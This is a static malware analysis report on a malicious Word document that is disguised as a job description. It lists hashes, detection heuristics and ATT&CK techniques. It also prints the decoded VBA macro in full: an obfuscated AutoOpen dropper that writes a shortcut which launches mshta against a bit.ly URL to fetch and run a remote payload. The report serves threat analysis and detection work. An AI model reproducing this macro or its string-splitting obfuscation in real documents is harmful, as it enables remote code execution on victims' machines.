Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 994b3b76317cd9f6…

MALICIOUS

Office (OLE)

284.5 KB Created: 2019-01-07 13:11:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 45123dac5e13cebe1dc7fc95afd9c63e SHA-1: 44e0a326d94e3da8c85fe8ddeb827ae30a14aaf6 SHA-256: 994b3b76317cd9f6d5d1777119e102503ba5f354cc2fe19bd471949a029b1770
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen subroutine that attempts to create a shortcut file and execute a payload. The macro constructs the URL 'https://bit.ly/2HDB1zD' and the shortcut path 'C:\Users\Public\TLP.LNK'. The presence of legacy WordBasic markers and CreateObject calls further indicate malicious intent. The document body presents a job description to lure the user into interacting with the malicious content.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7106052-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7106052-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.blockverify.com In document text (OLE body)
    • https://www.BlockVerify.comIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1794 bytes
SHA-256: b45f6fa4f777f85277088effad44d9cea4ae448077c315833c9c05f0b036321b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    On Error Resume Next
    Dim SHStr As String
    Dim FilePath As String
    Dim ExPath As String
    FilePath = "C:"
    SHStr = "scr"
    ExPath = "Lorer "
    FilePath = FilePath & "\" & "Users\" & "Public\"
    SHStr = "W" & SHStr
    ExPath = "EXP" & ExPath
    SHStr = SHStr & "ipt."
    StrLP = "/"
    StrLP = StrLP & "C START "
    SHStr = SHStr & "She"
    FilePath = FilePath & "TLP" & ".L"
    SHStr = SHStr & "ll"
    StrRn = "MD"
    ActiveDocument.ActiveWindow.View.ReadingLayout = False
    FilePath = FilePath & "NK"
    Set ObjShl = CreateObject(SHStr)
    Set Sht = ObjShl.CreateShortcut(FilePath)
    StrRn = "C" & StrRn
    Sht.TargetPath = StrRn
    ActiveDocument.ActiveWindow.View.Type = wdPrintView
    StrName = "PR"
    StrTemp = "Hta " & "ht"
    StrTemp = StrTemp & "tps:" & "//"
    Sht.Arguments = StrLP & "/b %SystemRoot%\" & "System3" & "2\MS" & StrTemp & "bit" & ".ly/2HDB1zD"
    Sht.Save
    StrName = "G" & "D" & StrName
    ViewDocument StrName
    ObjShl.Run ExPath & FilePath
    ActiveDocument.Content.Font.Color = 1
End Sub

Sub ViewDocument(StrName)
    On Error Resume Next
    Dim ObjectPic As Shape
    ActiveDocument.Content.Font.Size = 11
    For Each ObjectPic In ActiveDocument.Shapes
        If ObjectPic.AlternativeText = StrName Then
            ObjectPic.Delete
        End If
    Next ObjectPic
    ActiveDocument.Content.Font.Hidden = False
End Sub